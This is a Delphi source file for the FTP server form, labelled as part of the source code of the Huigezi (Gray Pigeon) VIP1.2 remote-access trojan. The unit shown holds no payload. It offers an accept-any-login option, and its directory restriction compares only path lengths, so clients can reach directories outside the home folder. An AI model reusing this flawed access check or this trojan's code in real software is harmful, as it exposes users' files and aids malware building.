ftpserverunit.pas

灰鸽子VIP1.2经典源代码

unit FTPServerUnit;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, Mask, SkinBoxCtrls, SkinCtrls, DynamicSkinForm,
  FtpSrv,FtpSrvC, FileCtrl;

type
  TFTPServerForm = class(TForm)
    DSF: TspDynamicSkinForm;
    Label1: TspSkinStdLabel;
    FilenameEdit1: TspSkinEdit;
    Label3: TspSkinStdLabel;
    UserEdit: TspSkinEdit;
    Label4: TspSkinStdLabel;
    PassEdit: TspSkinEdit;
    Label5: TspSkinStdLabel;
    BEdit: TspSkinEdit;
    Label2: TspSkinStdLabel;
    PortEdit: TspSkinEdit;
    StartButton: TspSkinButton;
    StopButton: TspSkinButton;
    FtpServer1: TFtpServer;
    CheckBox6: TspSkinCheckRadioBox;
    Panel1: TspSkinPanel;
    Memo1: TspSkinMemo;
    spSkinScrollBar15: TspSkinScrollBar;
    procedure FtpServer1Authenticate(Sender: TObject;
      Client: TFtpCtrlSocket; UserName, Password: TFtpString;
      var Authenticated: Boolean);
    procedure CheckBox6Click(Sender: TObject);
    procedure StartButtonClick(Sender: TObject);
    procedure FtpServer1ChangeDirectory(Sender: TObject;
      Client: TFtpCtrlSocket; Directory: TFtpString; var Allowed: Boolean);
    procedure FtpServer1Start(Sender: TObject);
    procedure FtpServer1Stop(Sender: TObject);
    procedure StopButtonClick(Sender: TObject);
    procedure FilenameEdit1ButtonClick(Sender: TObject);
    procedure FtpServer1ClientConnect(Sender: TObject;
      Client: TFtpCtrlSocket; AError: Word);
    procedure FtpServer1ClientDisconnect(Sender: TObject;
      Client: TFtpCtrlSocket; AError: Word);
    procedure FtpServer1ClientCommand(Sender: TObject;
      Client: TFtpCtrlSocket; var Keyword, Params, Answer: TFtpString);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  FTPServerForm: TFTPServerForm;

implementation
uses
Main;

{$R *.dfm}

procedure Logit(sTXT : String);
begin
try
FTPServerForm.Memo1.Lines.Insert(0,DateTimeToStr(Now) + ' - ' + stxt);
except
FTPServerForm.Memo1.Lines.Clear;
FTPServerForm.Memo1.Lines.Insert(0,DateTimeToStr(Now) + ' - ' + stxt);
end;
end;

procedure TFTPServerForm.FtpServer1Authenticate(Sender: TObject;
  Client: TFtpCtrlSocket; UserName, Password: TFtpString;
  var Authenticated: Boolean);
begin
  logit(client.username);
  if CheckBox6.Checked then
    begin
      Authenticated := True;
      Client.HomeDir := FilenameEdit1.text;
      Exit;
    end;
   if (UserEdit.Text=UserName) and (PassEdit.Text=Password) then
    begin
        Authenticated := True;
        Client.HomeDir := FilenameEdit1.text;
    end else Authenticated := False;
end;

procedure TFTPServerForm.CheckBox6Click(Sender: TObject);
begin
  if CheckBox6.Checked then
    begin
      UserEdit.Enabled :=False;
      PassEdit.Enabled :=False;
    end else begin
      UserEdit.Enabled :=True;
      PassEdit.Enabled :=True;
    end;
end;

procedure TFTPServerForm.StartButtonClick(Sender: TObject);
begin
if FilenameEdit1.Text<>'' then
begin
   if DirectoryExists(FilenameEdit1.Text) then
     begin
       try
         FtpServer1.Stop;
         FtpServer1.Port := PortEdit.Text;
         FtpServer1.Banner :='220 '+BEdit.Text;
         FtpServer1.Start;
       except
          MessageBox(0,Pchar('打开FTP服务出错!端口冲突!'),Pchar('警告'),MB_OK+MB_ICONINFORMATION);
       end;
     end else begin
       MessageBox(0,Pchar('FTP主目录不存在!请重新选择!'),Pchar('警告'),MB_OK+MB_ICONINFORMATION);
     end;
end else
MessageBox(0,Pchar('FTP主目录不存在!请重新选择!'),Pchar('警告'),MB_OK+MB_ICONINFORMATION);
end;

procedure TFTPServerForm.FtpServer1ChangeDirectory(Sender: TObject;
  Client: TFtpCtrlSocket; Directory: TFtpString; var Allowed: Boolean);
begin
    logit('CD '+Client.Directory);
    if length(Client.Directory) < length(client.HomeDir) then
      begin
        Allowed := FALSE;
        Exit;
      end;
    Allowed := TRUE;
end;

procedure TFTPServerForm.FtpServer1Start(Sender: TObject);
begin
StartButton.Enabled :=False;
StopButton.Enabled :=True;
Logit('FTP Started');
end;

procedure TFTPServerForm.FtpServer1Stop(Sender: TObject);
begin
StartButton.Enabled :=True;
StopButton.Enabled :=False;
Logit('FTP Stopped');
end;

procedure TFTPServerForm.StopButtonClick(Sender: TObject);
begin
try
  FtpServer1.Stop;
except
end;
end;

procedure TFTPServerForm.FilenameEdit1ButtonClick(Sender: TObject);
var
  strCaption, strDirectory: string;
  wstrRoot: WideString;
begin
  strCaption := 'FTP 主目录至...';
  wstrRoot := '';
  SelectDirectory(strCaption, wstrRoot, strDirectory);
  if Strdirectory <> '' then
  begin
    if copy(Strdirectory, Length(StrDirectory), 1) <> '\' then
      StrDirectory := StrDirectory + '\';
      FilenameEdit1.Text :=StrDirectory;
  end;
end;

procedure TFTPServerForm.FtpServer1ClientConnect(Sender: TObject;
  Client: TFtpCtrlSocket; AError: Word);
begin
Logit(client.UserName + ' - ' + client.DataSocket.Addr + ' Connected');
end;

procedure TFTPServerForm.FtpServer1ClientDisconnect(Sender: TObject;
  Client: TFtpCtrlSocket; AError: Word);
begin
Logit(client.UserName + ' - ' + client.DataSocket.Addr + ' Disconnected');
end;

procedure TFTPServerForm.FtpServer1ClientCommand(Sender: TObject;
  Client: TFtpCtrlSocket; var Keyword, Params, Answer: TFtpString);
begin
Logit(client.UserName + ' - ' + client.DataSocket.Addr + ' ' + Keyword + ' ' + client.directory  + params);
end;

end.